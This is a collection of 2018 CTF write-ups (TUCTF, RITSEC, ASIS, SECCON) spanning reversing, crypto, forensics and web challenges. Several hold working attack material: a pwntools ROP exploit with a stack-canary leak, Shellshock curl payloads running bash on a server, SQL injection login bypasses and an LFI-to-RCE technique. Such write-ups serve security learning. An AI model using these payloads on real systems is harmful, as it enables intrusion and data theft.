movzx eax, byte [rax]│ ╎│ 0x00000a70 8802 mov byte [rdx], al│ ╎│ 0x00000a72 836dfc01 sub dword [local_4h], 1│ ╎│ ; CODE XREF from main (0xa4b)│ ╎└─> 0x00000a76 837dfc00 cmp dword [local_4h], 0│ └──< 0x00000a7a 79d1 jns 0xa4d│ 0x00000a7c 8b45f0 mov eax, dword [nbyte]│ 0x00000a7f 4863d0 movsxd rdx, eax ; size_t n│ 0x00000a82 488b4de0 mov rcx, qword [s2]│ 0x00000a86 488b45e8 mov rax, qword [buf]│ 0x00000a8a 4889ce mov rsi, rcx ; const void *s2│ 0x00000a8d 4889c7 mov rdi, rax ; void *s1│ 0x00000a90 e88bfdffff call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n)│ 0x00000a95 c745f8000000. mov dword [local_8h], 0│ ┌─< 0x00000a9c eb34 jmp 0xad2│ │ ; CODE XREF from main (0xad8)│ ┌──> 0x00000a9e 8b45f8 mov eax, dword [local_8h]│ ╎│ 0x00000aa1 4863d0 movsxd rdx, eax│ ╎│ 0x00000aa4 488b45e8 mov rax, qword [buf]│ ╎│ 0x00000aa8 4801d0 add rax, rdx ; '('│ ╎│ 0x00000aab 0fb600 movzx eax, byte [rax]│ ╎│ 0x00000aae 8845df mov byte [local_21h], al│ ╎│ 0x00000ab1 0fb645df movzx eax, byte [local_21h]│ ╎│ 0x00000ab5 83e805 sub eax, 5│ ╎│ 0x00000ab8 8845de mov byte [local_22h], al│ ╎│ 0x00000abb 8b45f8 mov eax, dword [local_8h]│ ╎│ 0x00000abe 4863d0 movsxd rdx, eax│ ╎│ 0x00000ac1 488b45e8 mov rax, qword [buf]│ ╎│ 0x00000ac5 4801c2 add rdx, rax ; '#'│ ╎│ 0x00000ac8 0fb645de movzx eax, byte [local_22h]│ ╎│ 0x00000acc 8802 mov byte [rdx], al│ ╎│ 0x00000ace 8345f801 add dword [local_8h], 1│ ╎│ ; CODE XREF from main (0xa9c)│ ╎└─> 0x00000ad2 8b45f8 mov eax, dword [local_8h]│ ╎ 0x00000ad5 3b45f0 cmp eax, dword [nbyte]│ └──< 0x00000ad8 7cc4 jl 0xa9e│ 0x00000ada c745f4000000. mov dword [local_ch], 0│ ┌─< 0x00000ae1 eb30 jmp 0xb13│ │ ; CODE XREF from main (0xb19)│ ┌──> 0x00000ae3 8b45f4 mov eax, dword [local_ch]│ ╎│ 0x00000ae6 83c00a add eax, 0xa│ ╎│ 0x00000ae9 99 cdq│ ╎│ 0x00000aea f77df0 idiv dword [nbyte]│ ╎│ 0x00000aed 8955d8 mov dword [local_28h], edx│ ╎│ 0x00000af0 8b45f4 mov eax, dword [local_ch]│ ╎│ 0x00000af3 4863d0 movsxd rdx, eax│ ╎│ 0x00000af6 488b45e0 mov rax, qword [s2]│ ╎│ 0x00000afa 4801c2 add rdx, rax ; '#'│ ╎│ 0x00000afd 8b45d8 mov eax, dword [local_28h]│ ╎│ 0x00000b00 4863c8 movsxd rcx, eax│ ╎│ 0x00000b03 488b45e8 mov rax, qword [buf]│ ╎│ 0x00000b07 4801c8 add rax, rcx ; '&'│ ╎│ 0x00000b0a 0fb600 movzx eax, byte [rax]│ ╎│ 0x00000b0d 8802 mov byte [rdx], al│ ╎│ 0x00000b0f 8345f401 add dword [local_ch], 1│ ╎│ ; CODE XREF from main (0xae1)│ ╎└─> 0x00000b13 8b45f4 mov eax, dword [local_ch]│ ╎ 0x00000b16 3b45f0 cmp eax, dword [nbyte]│ └──< 0x00000b19 7cc8 jl 0xae3│ 0x00000b1b 8b45f0 mov eax, dword [nbyte]│ 0x00000b1e 4863d0 movsxd rdx, eax ; size_t n│ 0x00000b21 488b4de0 mov rcx, qword [s2]│ 0x00000b25 488b45e8 mov rax, qword [buf]│ 0x00000b29 4889ce mov rsi, rcx ; const void *s2│ 0x00000b2c 4889c7 mov rdi, rax ; void *s1│ 0x00000b2f e8ecfcffff call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n)│ 0x00000b34 488b45e8 mov rax, qword [buf]│ 0x00000b38 4889c6 mov rsi, rax│ 0x00000b3b 488d3dfa0000. lea rdi, str.Survey_Says___s ; 0xc3c ; "Survey Says! %s\n" ; const char *format│ 0x00000b42 b800000000 mov eax, 0│ 0x00000b47 e894fcffff call sym.imp.printf ; int printf(const char *format)│ 0x00000b4c 8b45f0 mov eax, dword [nbyte]│ 0x00000b4f 4863d0 movsxd rdx, eax ; size_t n│ 0x00000b52 488b45e8 mov rax, qword [buf]│ 0x00000b56 488d35f00000. lea rsi, str.jmt_j_tm_q_t_j_mpjtf ; 0xc4d ; "jmt_j]tm`q`t_j]mpjtf^" ; const void *s2│ 0x00000b5d 4889c7 mov rdi, rax ; const void *s1│ 0x00000b60 e8abfcffff call sym.imp.memcmp ; int memcmp(const void *s1, const void *s2, size_t n)│ 0x00000b65 85c0 test eax, eax│ ┌─< 0x00000b67 751a jne 0xb83│ │ 0x00000b69 488d3df30000. lea rdi, str.That_s_right ; 0xc63 ; "That's right!" ; const char *s│ │ 0x00000b70 e84bfcffff call sym.imp.puts ; int puts(const char *s)│ │ 0x00000b75 488d3df50000. lea rdi, str.bin_cat_._flag ; 0xc71 ; "/bin/cat ./flag" ; const char *string│ │ 0x00000b7c e84ffcffff call sym.imp.system ; int system(const char *string)...``` This roughly corresponds to: ```cchar s[21] = (char*)malloc(21);char t[21] = (char*)malloc(21); read(s, 0, 21); for (int i = 20; i >= 0; i--) t[20-i] = s[i]; for (int i = 0; i < 21; i++) s[j] -= 5; for (int i = 0; i < 21; i++) t[i] = s[(i + 10) % 21]; if (!memcmp(t, "jmt_j]tm`q`t_j]mpjtf^", 21)) //print flag``` The final string `jmt_j]tm`q`t_j]mpjtf^` used in the `memcmp` at `0x00000b60` can easily be reversed to the corresponding input. ```pythonans = 'jmt_j]tm`q`t_j]mpjtf^'ans = map(lambda x: chr(ord(x) + 5), ans) s = ['' for i in range(len(ans))] for i in range(len(ans)): j = (i - 10) % 21 s[i] = ans[j] print ''.join(s)[::-1] # everybodyrockyourbody``` Providing the input to the server gives us the flag. Flag> TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}
[](ctf=tu-ctf-2018)[](type=pwn)[](tags=rop)[](tools=radare2,gdb-peda,pwntools,python) # Timber We are given a [binary](../timber) with a stack canary, a stack based buffer overflow and a format string vulnerability. The binary mimics the popular dating application Tinder! ```bashvagrant@amy:~/share/timber$ file timbertimber: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f25b2cc724fad9767439392ba05ac91177ae3ee, not stripped``` ```bashvagrant@amy:~/share/timber$ ./timberWelcome to Timber™!The world's largest lumberjack dating sitePlease enter your name: jackAlright jackLet's find you a match!Options: l: Swipe Left r: Swipe Right s: Super Swipe Eastern Pine age 4183? lAmerican Elm age 502? rAmerican Beech age 796? s+Match Found!----------------- American Beech ----------------[American Beech] So, are you a tree hugger or what.hello[American Beech] Pff, lumberjacks are all the same.``` The format string vulnerability can be used to leak the stack canary allowing us to exploit the binary with a ROP chain. ```pythonfrom pwn import * context(arch='i386', os='linux')# p = process('./timber')p = remote('18.222.250.47 ', 12345) flag_cmd = 0x8048ba0system = 0x08048500 p.sendline('%17$x')p.recvuntil('Alright ')leak = p.recvuntil('\n').strip()canary = int(leak, 16) log.info('Canary: {}'.format(hex(canary))) payload = ''payload += 'a' * 48payload += p32(canary)payload += 'a' * 8payload += p32(system)payload += 'a' * 4payload += p32(flag_cmd) p.sendline('s') p.sendline(payload)p.recvuntil('same.\n')flag = p.recvuntil('\n').strip()log.success(flag)```
# John-Bull (crypto, 141p, 29 solved) In the challenge we get [code and encryption results](John_Bull.txt).The encryption code is quite simple: ```pythondef make_key(k): while True: r = getRandomInteger(k) << 2 p, q = r**2+r+1, r**2+3*r+1 if gmpy.is_prime(p) * gmpy.is_prime(q): break pubkey = r**6 + 5*r**5 + 10*r**4 + 13*r**3 + 10*r**2 + 5*r + 1 return pubkey def encrypt(m, pubkey): return pow(bytes_to_long(m), pubkey, pubkey)``` The encryption looks like RSA with `e` set to `n`, and `n` itself is `(p**2)*q`.The first step is to recover `r` and thus factor `n`.We can see that `n` is a polynomial, and a nice property here is that for large `r` the higher order terms will be significantly bigger than lower order terms. Imagine `r=1000000`, in such case `r**6-r**5 ~= 0.999999*r**6` In our case we expect `r` to be much bigger than that, around 510 bits, which makes this property even stronger.This means that value of the polynomial `r**6 + 5*r**5 + 10*r**4 + 13*r**3 + 10*r**2 + 5*r + 1` will be realtively close to `r**6`.And if we calculate 6-th root the value should be pretty much identical, because all lower order terms will simply be swallowed as small fractions. We can confirm this by: ```pythonr = int(gmpy2.iroot(n, 6)[0])p, q = r ** 2 + r + 1, r ** 2 + 3 * r + 1print(gmpy2.is_prime(p))print(gmpy2.is_prime(q))assert n == p ** 2 * q``` Now that we have `p` and `q` we can proceed with decrypting the flag.The issue now is that this encryption does not match RSA conditions -> `gcd(e,phi(n))!=1`.This is quite obvious since: `phi(n) = phi((p**2)*q) = phi(p**2) * phi(q) = p*(p-1) * (q-1)` And in our case `e = n = (p**2)*q` So `phi(n)` and `e` share a factor `p`. One approach we could try would be to divide `e` by `p` and calculate `d` for such `e`, but as a result we would just get `flag**p mod n` which doesn't help us much because we can't easily calculate k-th modular root.But we took a different path and guessed that `flag` might not be padded and thus it would be reasonably short.Specifically shorter not only than `n`, which is expected, but also shorted than `p*q`. We could calculate `ciphertext % (p*q)` transforming this problem back to classic RSA.We were lucky and this approach worked just fine: ```pythonenc = enc % (p * q)e = p * p * qfi = (p - 1) * (q - 1)d = modinv(e, fi)flag_p = gmpy2.powmod(enc, d, (p * q))print(long_to_bytes(flag_p))``` Which gave us `ASIS{_Wo0W_Y0u_4r3_Mas73R_In____Schmidt-Samoa___}` Whole solver [here](john.py) As it turns out this is an existing cryptosystem, and could have been solved by: ```pythond = modinv(n, lcm(p - 1, q - 1))flag_p = gmpy2.powmod(enc, d, (p * q))print(long_to_bytes(flag_p))```
[](ctf=tu-ctf-2018)[](type=reversing)[](tags=malloc,memcpy)[](tools=radare2,gdb-peda) # yeahright We are given a [binary](../yeahright) which accepts user input and does a memcmp with a string. ```bashvagrant@amy:~/share/yeahright$ file yeahrightyeahright: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0b6d0cc001d9c9c8fb8e1e61f8b082bcda503669, not stripped``` ```assemblygdb-peda$ cContinuing.*Ahem*... password? aaaa[----------------------------------registers-----------------------------------]RAX: 0x555555756010 --> 0xa61616161 ('aaaa\n')RBX: 0x0RCX: 0x555555554a98 ("7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w")RDX: 0x28 ('(')RSI: 0x555555554a98 ("7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w")RDI: 0x555555756010 --> 0xa61616161 ('aaaa\n')RBP: 0x7fffffffe0f0 --> 0x555555554a10 (<__libc_csu_init>: push r15)RSP: 0x7fffffffe0e0 --> 0x7fffffffe1d0 --> 0x1RIP: 0x5555555549cf (<main+143>: call 0x5555555547c0 <memcmp@plt>)R8 : 0x7ffff7fec700 (0x00007ffff7fec700)R9 : 0x14R10: 0x37bR11: 0x246R12: 0x555555554810 (<_start>: xor ebp,ebp)R13: 0x7fffffffe1d0 --> 0x1R14: 0x0R15: 0x0EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x5555555549c4 <main+132>: mov edx,0x28 0x5555555549c9 <main+137>: mov rsi,rcx 0x5555555549cc <main+140>: mov rdi,rax=> 0x5555555549cf <main+143>: call 0x5555555547c0 <memcmp@plt> 0x5555555549d4 <main+148>: test eax,eax 0x5555555549d6 <main+150>: je 0x5555555549ee <main+174> 0x5555555549d8 <main+152>: lea rdi,[rip+0xf7] # 0x555555554ad6 0x5555555549df <main+159>: call 0x555555554780 <puts@plt>Guessed arguments:arg[0]: 0x555555756010 --> 0xa61616161 ('aaaa\n')arg[1]: 0x555555554a98 ("7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w")arg[2]: 0x28 ('(')arg[3]: 0x555555554a98 ("7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w")[------------------------------------stack-------------------------------------]0000| 0x7fffffffe0e0 --> 0x7fffffffe1d0 --> 0x10008| 0x7fffffffe0e8 --> 0x555555756010 --> 0xa61616161 ('aaaa\n')0016| 0x7fffffffe0f0 --> 0x555555554a10 (<__libc_csu_init>: push r15)0024| 0x7fffffffe0f8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)0032| 0x7fffffffe100 --> 0x10040| 0x7fffffffe108 --> 0x7fffffffe1d8 --> 0x7fffffffe46a ("/home/vagrant/share/yeahright/yeahright")0048| 0x7fffffffe110 --> 0x1f7ffcca00056| 0x7fffffffe118 --> 0x555555554940 (<main>: push rbp)[------------------------------------------------------------------------------]Legend: code, data, rodata, value Breakpoint 2, 0x00005555555549cf in main ()``` Submitting the string `7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w` to the server gives us the flag. Flag> TUCTF{n07_my_fl46_n07_my_pr0bl3m}
# What a cute dog ! - Web challenge (350 points) Another web challenge with URL: http://fun.ritsec.club:8008/.Upon opening the given URL, we see a **shockingly** cute dog ! And some stats: *Mon Nov 19 11:06:51 UTC 201811:06:51 up 2 days, 18:54, 0 users, load average: 0.00, 0.00, 0.03* . Inspecting the source we see an interesting link: http://fun.ritsec.club:8008/cgi-bin/stats.Googling this, we found an exploit for *stats*. And guess what, it is a shellshock exploit (*_CVE 2014-6271_*).We are going to use this command for finding the flag: **_curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'uname -a;'" http://fun.ritsec.club:8008/cgi-bin/stats_** After some time for searching the flag, i remember that flag is always named like *flag.txt*. So I ran this command in terminal to get the exact location of a flag: *_curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'find / -name flag.txt;'" http://fun.ritsec.club:8008/cgi-bin/stats_* flag.txt was found in **/opt/** folder. The final step we needed to take was to read the flag. *_curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt;'" http://fun.ritsec.club:8008/cgi-bin/stats_* We got response with a flag: **RITSEC{sh3ll_sh0cked_w0wz3rs}**
The ASIS 2018 Finals had some awesome challenges. One of them is the Android reversing and web challenge Gunshop. It was a lot of fun to use ARTist, an Android instrumentation framework, to leak the AES key, intercept https traffic and bypass custom certificate pinning. [Here](https://saarsec.rocks/2018/11/27/Gunshop.html), you can find the complete writeup for Gunshop 1 and 2 .
[https://medium.com/@y.shahinzadeh/android-hook-asis-ctf-final-2018-gunshops-question-walkthrough-ae5dfe8b5df0](https://medium.com/@y.shahinzadeh/android-hook-asis-ctf-final-2018-gunshops-question-walkthrough-ae5dfe8b5df0) Any question? [hit me](https://twitter.com/YShahinzadeh)
# yeahright [Reverse 149 points] ### Chall's description```Difficulty: very easyWhat an insensitive little program.Show it who's boss! nc 18.224.3.130 12345``` #### File given for the chall* [yeahright](./yeahright)* [flag](./flag) ## SolutionFirst we tried to check the binary with `strings` command to see if we could find something useful.```bash$ strings yeahright | less``` Luckely, we immediately found a password required by the program! #### output:```bash[...]GLIBC_2.2.5AWAVAAUATL[]A\A]A^A_7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w <===*Ahem*... password? yeahright!/bin/cat ./flag;*3$"[...]``` We tried to insert the password ('7h3\_m057\_53cr37357\_p455w0rd\_y0u\_3v3r\_54w') as the program's input, and we noticed that it executes the ```/bin/cat ./flag```.Running this on the server, cat the real flag! # The Flag: TUCTF{n07_my_fl46_n07_my_pr0bl3m}
# DangerZone [Reverse 112 points] ### Chall's descriptionDifficulty: easyLegend says, this program was written by Kenny Loggins himself. #### File given for the chall* [dangerzone.pyc](./dangerzone.pyc) ## Solution (A)We started importing the .pyc in python then we inspected it with dir().```python>>> import dangerzone>>> dir(dangerzone)['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'b32decode', 'base64', 'main', 'reverse', 'reversePigLatin', 'rot13']>>>```So, we tried to run the main module's main procedure```python>>> dangerzone.main()Something Something Danger Zone'=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'``` We noticed that it is a reverted (link to)base64 encoded string.After some tests, with the help of the other module's functions, we found the flag:```python>>> dangerzone.reversePigLatin(dangerzone.rot13(dangerzone.b32decode(dangerzone.reverse(dangerzone.main()))))Something Something Danger Zoneu'TUCTF{r3d_l1n3_0v3rl04d}'``` ## Solution (B)Another way to solve this chall is to use [uncompyle6](https://github.com/rocky/python-uncompyle6).Running the following command, `main.py` will contain the original code of dangerzone.```bash$ uncompyled6 ./dangerzone.pyc > main.py``` #### `main.py` code:```pythonimport base64 def reverse(s): return s[::-1] def b32decode(s): return base64.b32decode(s) def reversePigLatin(s): return s[-1] + s[:-1] def rot13(s): return s.decode('rot13') def main(): print 'Something Something Danger Zone' return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ' if __name__ == '__main__': s = main() print s``` Then we change the main function with the same code write on the Solution(A) toobtain the flag. # The Flag: TUCTF{r3d_l1n3_0v3rl04d}
## Lazy dev - Web challenge (400 points) The final web challenge with a link: http://fun.ritsec.club:8007. Hmm it takes us back to *The tangled web* challenge.At first, I was thinking that it was a mistake, but after reviewing all pages I crawled, I saw a comment which lead us further.Comment was found in http://fun.ritsec.club:8007/Stars.html and it goes like this: ``` ```So I went to http://fun.ritsec.club:8007/devsrule.php and I am welcomed with:```Not what you input eh?This param is 'magic' man.```Well, it is said that the parameter is *magic*. I started poking around and after a while I finally figured out that it is LFI to RCE ! We have to use **php://input** wrapper ! I intercepted the GET request with Burp Suite and changed to *_POST /devsrule.php?magic=php://input HTTP/1.1_* .Next thing was to add POST data so I ran `````` and I got this response: **Not what you input eh?This param is 'magic' man.uid=33(www-data) gid=33(www-data) groups=33(www-data)**Next step was to find the flag. With simple poking around we found our flag in *_/home/joker/flag.txt_* To read flag we execute `````` and we got flag in response! Flag is: **RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}**
[Link to writeup for all Ready Player One themed challenges. ](https://jaimelightfoot.com/blog/tuctfs-ready-player-one-challenges-hint-git-is-your-friend/)
## Colonel Mustard's Simple Signin - Web 172: **Description:** We know Col Mustard is up to something--can you find a way in to tell us what? **Challenge:** http://13.59.239.132/ **Difficulty:** Easy **Solved by:** Tahar **Solution:** We open up the challenge URL as usual, we notice the same login form! But of course it shouldn't be the same solution or same challenge =) From previous experience as usual from too many CTFs, most of those logins forms are meant to say **SQLi Form Login Bypass** and it means bypassing the login form by injecting a **Structure Query Language** Payload. We use the following payload and boom flag: ```' or ''='``````' or ''='``` **Flag:** TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}
# Bucket 'o cash (175) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) ![alt text](1.png "Chall") We are given a memory dump of some unknown os. Testing the obvious```file memorydumpmemorydump: data``````$ strings memorydump | grep "RITSEC"``` To view the head of the file we can use `xxd` ```xxd memorydump | head00000000: 454d 694c 0100 0000 0010 0000 0000 0000 EMiL............00000010: ffeb 0900 0000 0000 0000 0000 0000 0000 ................00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................```When we google parts of the hex we end up on the volatilityfoundation github. Okay this probably means we should use Volatility to extract the flag. ![alt text](3.png "Chall") To use Volatility we have to figure out which OS is running. We can use the strings command to grep for Linux version. ```bash$ strings memorydump | grep "Linux version" Linux version 3.10.0-862.el7.x86_64 ([email protected]) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-28``` We see the `kbuilder.dev.centos.org` string. This means centos is probably running. When we google the version we get the following. ![alt text](2.png "Chall") Okay, it is definitely running CentOS 7.xxx Let's google and see if we can find a premade profile that we can use in volatility. ![alt text](4.png "Chall") We see that it matches the version `3.10.0-862.el7.x86_64`. Cool lets download that and place the zip folder in:`/usr/lib/python2.7/dist-packages/volatility/plugins/overlays/linux` We can use this command to verify that we installed it correctly:```bash$ volatility --info | grep "Profile"Volatility Foundation Volatility Framework 2.6ProfilesLinuxCentos7-3_10_0-862_2_3_el7_x86_64x64 - A Profile for Linux Centos7-3.10.0-862.2.3.el7.x86_64 x64...``` Lets list all the running processes. ```bash$ volatility -f memorydump linux_psaux --profile=LinuxCentos7-3_10_0-862_2_3_el7_x86_64x64 ] 13480 0 0 /sbin/agetty --noclear tty2 linux 13481 0 0 /sbin/agetty --noclear tty3 linux 13488 0 0 [kworker/0:0] 13498 0 0 ./flag 13500 0 0 ``` There's a flag process running with PID 13498. Let's dump that ```bash$ volatility -f memorydump linux_procdump --pid 13498 --profile=LinuxCentos7-3_10_0-862_2_3_el7_x86_64x64 -D outputOffset Name Pid Address Output File------------------ -------------------- --------------- ------------------ -----------0xffff8ed8402cbf40 flag 13498 0x0000000000400000 output/flag.13498.0x400000```Running the file did not work. It segfaulted.Lets run strings on it ```$ strings output/flag.13498.0x400000/lib64/ld-linux-x86-64.so.2libc.so.6puts__libc_start_main__gmon_start__GLIBC_2.2.5UklUU0VDHe00zbTByHD$ Cg==HeV9GMHIzHbnMxY3N9HD$27UH-0UH-0[]A\A]A^A_;*3$"/lib64/ld-linux-x86-64.so.2libc.so.6puts__libc_start_main__gmon_start__GLIBC_2.2.5UklUU0VDHe00zbTByHD$ Cg==HeV9GMHIzHbnMxY3N9HD$27UH-0UH-0[]A\A]A^A_;*3$"``` We see some strings that look like base64. Let's remove all other stuff that doesn't look like a base64 string. ```UklUU0VDHe00zbTByHeV9GMHIzHbnMxY3N9HUklUU0VDHe00zbTByHeV9GMHIzHbnMxY3N9H``` Concatenating we get the following string: `UklUU0VDHe00zbTByHeV9GMHIzHbnMxY3N9HUklUU0VDHe00zbTByHeV9GMHIzHbnMxY3N9H` ```bash$ echo -n "UklUU0VDHe00zbTByHeV9GMHIzHbnMxY3N9HUklUU0VDHe00zbTByHeV9GMHIzHbnMxY3N9H" | base64 -dRITSECí4ʹÁÈwôc#1ۜÌXÜßGRITSECí4ʹÁÈwôc#1ۜÌXÜßG```Hmmm not the correct one. But we know we're close because we can see the RITSEC at the beginning. Looking at the strings we see that each line ends with a "H". I don't know what this is but if we remove each and every "H". ```bashUklUU0VDe00zbTByeV9GMHIzbnMxY3N9UklUU0VDe00zbTByeV9GMHIzbnMxY3N9``` Concatenating we get the following: `UklUU0VDe00zbTByeV9GMHIzbnMxY3N9UklUU0VDe00zbTByeV9GMHIzbnMxY3N9` Lets try to base64 decode it. ```bash$ echo -n UklUU0VDe00zbTByeV9GMHIzbnMxY3N9UklUU0VDe00zbTByeV9GMHIzbnMxY3N9 | base64 -dRITSEC{M3m0ry_F0r3ns1cs}RITSEC{M3m0ry_F0r3ns1cs}``` We get the flag twice!
- [murmur](#murmur)- [Runme](#runme)- [Special Instructions](#special-instructions)- [Special Device File](#special-device-file)- [block](#block)- [shooter](#shooter)- [tctkToy](#tctktoy) # murmur Thrilling to see the OSASK, I have a copy of 30日でできる! OS自作入門, which teach you to implement a simple OS in 30 days. # Runme Compare the result of GetCommandLineA() to `C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}` The flag is `SECCON{Runn1n6_P47h}` # Special Instructions The architecture of the elf is `moxie`, can be known by `strings`. The binary would print : ```shThis program uses special instructions. SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA``` Indeed, we can find some weird instructions in binary dump: ```0000154a <set_random_seed>: 154a: 16 20 bad 154c: 04 00 ret 0000154e <get_random_value>: 154e: 17 20 bad 1550: 04 00 ret 00001552 <decode>: 1552: 06 18 push $sp, $r6 1554: 06 19 push $sp, $r7 1556: 06 1a push $sp, $r8 1558: 06 1b push $sp, $r9 155a: 06 1c push $sp, $r10 155c: 06 1d push $sp, $r11``` Here, the implement of xorshift32 is differ from [wiki](https://en.wikipedia.org/wiki/Xorshift) ( I'll show you the reason in the next section ) ```cuint32_t xorshift32(uint32_t state[static 1]){ /* Algorithm "xor" from p. 4 of Marsaglia, "Xorshift RNGs" */ uint32_t x = state[0]; x ^= x << 13; x ^= x >> 17; x ^= x << 15; //the original version is << 5 state[0] = x; return x;}``` Xor `flag`, `randval`, `get_random_value` to get the flag. The flag is `SECCON{MakeSpecialInstructions}` # Special Device File This binary should be more easy to understand, because all you need to do is dragging it into IDA. The key point is how `/dev/xorshift64` work, there are serveral implementation online, it's time comsuming to test everyone. But, the SECCON is hold by japanese, where a japanese engineer would go for searching the information about things they don't understand ? Wiki, but in japanese...... ```cx = x ^ (x << 13);x = x ^ (x >> 7);return x = x ^ (x << 17);``` Again, xor `flag`, `randval`, `get_random_value` to get the flag. The flag is `SECCON{UseTheSpecialDeviceFile}` # block My first time to reverse a unity game, it seems not so hard. Decompress the `.apk`, the `C#` script of game is located at `assets/bin/Data/Managed/Assembly-CSharp.dll`. There are only two methods ,`Start` and `Update`, obviously, the `Update` keep rotate the flag behind, let's modify them to : ```csharp#the axis of object seems not parellel or vertical to camera public void Start(){ base.transform.position = new Vector3(0f, -4.5f, 2f); base.transform.Rotate(new Vector3(0f, -90f, 0f));} public void Update(){}``` Pack it back and launch it. ![flag](./block.png) The flag is `SECCON{4R3_Y0U_CH34+3R?}` # shooter Again,a unity game. Basically, it's arcade game, and the players would be ranked **online** with other players. This one was builded by IL2CPP. How I found that it was builded by IL2CPP (it's also my first time to reverse such thing): First, there is no `Assembly-CSharp.dll`. It may implies the possibility of 2 things (or more) : - The `dll` was some how being packed or obfuscated- The game was build in a different way Second, the layout of diretory seems to be different with last challenge, block. Then I found that there are lots of keywords in `assets/bin/Data/Managed/Metadata/global-metadata.dat` After google it, I could dump the pseudo code from `global-metadata.dat` and `libil2cpp.so` ( main logic ) by [Il2CppDumper](https://github.com/Perfare/Il2CppDumper). But there is nothing valuable in the game logic...... Observing strings, I found there are some weird strings : ```shooter.pwn.seccon.jpstaging.shooter.pwn.seccon.jpdevelop.shooter.pwn.seccon.jp/admin/api/v1/score``` Now, I can get the highest score by sending: ```POST /api/v1/scores HTTP/1.1Expect: 100-continueX-Unity-Version: 2018.2.11f1Content-Type: application/x-www-form-urlencodedContent-Length: 35User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; Android SDK built for x86 Build/OSM1.180201.007)Host: shooter.pwn.seccon.jpConnection: Keep-AliveAccept-Encoding: gzip score=2147483647&name=zzzzzzzzzzzzzzzzzzzzzzzz``` It's useless, server won't send flag back. And I don't think that the command injection would work. Then, I found that http://staging.shooter.pwn.seccon.jp/admin will redirect you to http://staging.shooter.pwn.seccon.jp/admin/sessions/new ![admin](./admin.png) SQL injection works.... We can login as admin by sending `' ))) UNION (SElECT 1)#` as password. What's more, we can do the time base SQL injection. This part was done by [kaibro](https://github.com/w181496), my teamate. 1. leak first db : `shooter_staging` 1. leak first table in it : `ar_internal_metadata` 1. leak second table in it : `flags` 1. columns in `flags`: - `id` - `value` - `created_at` - `updated_a t` The flag is `SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}`# tctkToy I overdozed, only left an hour to solve this lol By a quick glance, I guess the binary would execute an tcl script, and the goal is to build a window similar to the picture ?
# literal page is redirecting to wikipedia, so pull the source with wget```bash$ wget http://18.222.124.7```--2018-11-24 00:35:20-- http://18.222.124.7/Connecting to 18.222.124.7:80... connected.HTTP request sent, awaiting response... 200 OKLength: 95 [text/html]Saving to: ‘index.html’ **index.html** 100%[================================================================>] 95 --.-KB/s in 0s 2018-11-24 00:35:21 (5.11 MB/s) - ‘index.html’ saved [95/95] ```bash$ cat index.html``` ```html<html> <head> <meta http-equiv="refresh" content="0; URL='Literal.html'" /></head> </html>``` ```bash$ wget http://18.222.124.7/Literal.html```--2018-11-24 00:35:54-- http://18.222.124.7/Literal.htmlConnecting to 18.222.124.7:80... connected.HTTP request sent, awaiting response... 200 OKLength: 841 [text/html]Saving to: ‘Literal.html’ Literal.html 100%[================================================================>] 841 --.-KB/s in 0s 2018-11-24 00:35:55 (63.4 MB/s) - ‘Literal.html’ saved [841/841] ```bash$ cat Literal.html``````html<html> <head> <meta http-equiv="Refresh" content="1; url=https://en.wikipedia.org/wiki/Fork_bomb"> </head> <body> Redirecting to Wikipedia...! </body></html> ```look closely at the bomb to retrieve the flag ***TUCTF{R34L.0N35.4R3.D4NG3R0U5}***
